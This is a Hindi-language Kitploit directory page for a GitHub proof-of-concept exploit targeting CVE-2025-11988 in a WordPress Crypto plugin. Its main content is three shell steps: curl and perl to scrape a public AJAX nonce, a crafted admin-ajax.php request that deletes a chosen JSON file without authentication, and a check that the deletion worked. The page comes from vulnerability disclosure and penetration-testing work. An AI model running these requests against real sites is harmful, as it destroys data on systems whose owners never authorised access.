Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-11988 — CVE-2025-11988 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WordPress Crypto प्लगइन में तैयार किए गए AJAX अनुरोधों के माध्यम से बिना प्रमाणीकरण के मनमानी JSON फ़ाइल विलोपन को प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/jfriedli/cve-2025-11988
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubjfriedli/cve-2025-11988

CVE-2025-11988

CVE-2025-11988 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WordPress Crypto प्लगइन में तैयार किए गए AJAX अनुरोधों के माध्यम से बिना प्रमाणीकरण के मनमानी JSON फ़ाइल विलोपन को प्रदर्शित करता है।

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

1) सार्वजनिक crypto_ajax नॉन्स निकालें

root@kitploit:~
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'
PAGE_URL='http://localhost/wordpress/<ANY_PAGE>/'

NONCE=$(curl -s "$PAGE_URL" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction
[ -z "$NONCE" ] && NONCE=$(curl -s "$PAGE_URL" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

2) बिना प्रमाणीकरण के मनमानी JSON फ़ाइल हटाएं

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=crypto_delete_json&id=1&nonce=${NONCE}&param1=order123"

param1 फ़ाइलनाम प्रीफ़िक्स से मेल खाता है (जैसे, order123 → order123_pending.json)


3) हटाने की पुष्टि करें

root@kitploit:~
if [ -e "$BASEDIR/yak/order123_pending.json" ]; then
  echo "[-] File still exists"
else
  echo "[+] Deleted successfully"
fi
टूल डाउनलोड करें